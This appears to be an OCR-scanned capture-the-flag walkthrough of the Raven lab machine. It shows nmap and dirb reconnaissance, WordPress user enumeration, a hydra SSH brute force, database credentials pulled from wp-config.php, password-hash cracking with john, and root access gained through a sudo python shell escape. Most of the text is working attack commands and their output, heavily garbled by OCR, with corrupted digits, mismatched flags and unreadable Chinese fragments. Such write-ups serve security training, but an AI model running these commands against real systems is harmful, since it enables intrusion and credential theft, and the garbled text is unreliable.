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nmap -sV -p- 10.0.3.140

# nmap -sV -p- 10.0.3.140
Starting Nmap 7.8@ ( https://nmap.org ) at 2020-04-08 ©0:05 EDT
Stats: 0:00:09 elapsed; @ hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 25.00% done; ETC: ©0:06 (©:00:18 remaining)
Nmap scan report for 10.0.3.140
Host is up (©.00e55s latency).
Not shown: 65531 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7pl Debian 5+deb8u4 (protocol 2.80)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
41462 /tcp open status 1 (RPC #100024)
MAC Address: ©00:0C:29:AB:F6:BC (VMware)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 14.65 seconds htt in.net/Jiajiajiang_
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dirb http://10.0.3.140

M SeAE, FRATKIL T wordpress

---- Entering directory: http://10.0.3.140/wordpress/wp-admin/ ----
+ http://10.0.3.140/wordpress/wp-admin/admin.php (CODE:302|SIZE:@)
==> DIRECTORY: http://10.0.3.140/wordpress/wp-admin/css/

==> DIRECTORY: http://10.0.3.140/wordpress/wp-admin/images/

==> DIRECTORY: http://10.0.3.140/wordpress/wp-admin/includes/

+ http://10.0.3.140/wordpress/wp-admin/index.php (CODE:302|SIZE:@)
==> DIRECTORY: http://10.0.3.140/wordpress/wp-admin/js/

==> DIRECTORY: http://10.0.3.140/wordpress/wp-admin/maint/

==> DIRECTORY: http://10.0.3.140/wordpress/wp-admin/network/

==> DIRECTORY: http://10.0.3.140/wordpress/wp-adnitps/beercgdn.netliajiajiang_

wpscan
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wpscan --url http://10.0.3.140/wordpress --wp-content-dir -ep -et -eu
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User(s) Identified:

michael
| Found By: Author Id
| Confirmed By: Login

steven
| Found By: Author Id
| Confirmed By: Login
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: # 1s
dirb dirbuster fasttrack.txt fern-wifi hash metasploit nmap.lst rockyou.txt wfuzz

hydra

hydra -1 michael -P rockyou.txt ssh://10.0.3.140

XA RL-L AERRPAS P A#EEL, BX A T, R michael 4 RERB 1K .

: # hydra -1 michael -P rockyou.txt ssh://10.0.3.140
Hydra v9.8 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-84-88 ©1:28:51

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 18 seconds to abort... (use option -I to skip waiting)) from a previous session found, to preve
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (1:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://1e.0.3.14@:22/

[22][ssh] host: 10.©.3.140 login: michael password: michael

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 3 final worker threads did not complete until end.

[ERROR] 3 targets did not resolve or could not be connected

[ERROR] @ targets did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-84-88 ©1:29:05

ssh&x—F

: # ssh michael@le.0.3.140
michael@1©.0.3.140"'s password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

You have new mail.

Last login: Wed Apr 8 14:02:06 2020 from 10.0.3.141 htpsiblog.csdn.netiiajiajiang_

# Flflag2

flag2{fc3fd58dcdad9ab23faca6e9a36e581c}



michael@Raven: /var/www$ 1s
flag2.txt

michael@Raven: /var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23facaée9a36e581c}

SR 5 % 2 var/www/html/wordpress/wp-config.php, 3453538 2 K 5 55 65

/** MySQL database username */
define( 'DB_USER', 'root');

/** MySQL database password */
define( 'DB_PASSWORD', 'R@v3nSecurity');

B

mysql> show databases;

information_schema
mysql
performance_schema
wordpress

rowstigsboetsd(@c@@izgand

mysql> use wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;

wp_commentmeta |
wp_comments |
wp_links |
wp_options |
wp_postmeta |
wp_posts |
wp_term_relationships |
|
|
|
|
|

wp_termmeta
wp_terms
wp_usermeta

|

|

|

|

|

|

|

| wp_term_taxonomy
|

|

|

| wp_users
+

12 rows in set (©.00 sec) https://blog.csdn.net/Jiajiajiang_




fEwp_postsH3kfiflag3Hiflagd.

flag3{afc@1lab56b50591e7dccf93122770cd2}
flag4{715dea6c@55b9fe3337544932f2941ce}

e |
31:59 | flagd{715dea6c@55b9fe3337544932F2941ce}

| inherit | closed
| 4 | http://

48:31 | FlagB{aFcelabE6b56591e7dccf93122779cd2}

https://blog.csdn.netdiajiajiang_

| $P$BjRVZQ.VQcGZ1DeiKToCQd.cPw5XCe@ |
| michael |
2 | steven | $P$Bk3VD9jsxx/loJogNsURgHiaB23j7W/ |
@ | Ssteven Seagull |

$P$Bk3VD9jsxx/1loJogNsURgHiaB23j7W/
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:~# vim ha
:~# john ha
Created directory: /root/.john
efault input encoding: UTF-8
vord hash {php ss [phpass ($P$ or $H%) f256 AVXZ 8x3])
i 92 for all loaded hashe
eding with single, rules:Single
'gq' or Ctrl-c tn abnrt almn‘t any other key for status
dnne roce candidate passwords, if any.
0 5 ord.1lst, rules:Wordlist

{?}

IO 00U 04:14 DONE 3/3 (2020-04-08 14:05) 0.003932g/s 14546p/s 14546c/s 14546C/s
pink9e. .pingen

Use the "--show --format=phpass" options to display all of the cracked passwords

iabl}-’

onl ol ht log.csdn.net/Jiajiajiang_

SR G Hsteven )k 55 5%, BTN

# ssh steven@le.0.3.140
steven@le.0.3.140's password:

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Wed Apr 8 14:11:51 2620 from 10.0.3.141

$ https:/blog.csdn.net/Jiajiajiang_

AJ LA python$2 4%

$ sudo -1
Matching Defaults entries for steven on raven:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User steven may run the following commands on raven:
(ALL) NOPASSWD: /usr/bin/python

python -c 'import pty;pty.spawn("/bin/sh")"

$ sudo python -c¢ 'import pty;pty.spawn("/bin/sh")’
# whoami

root
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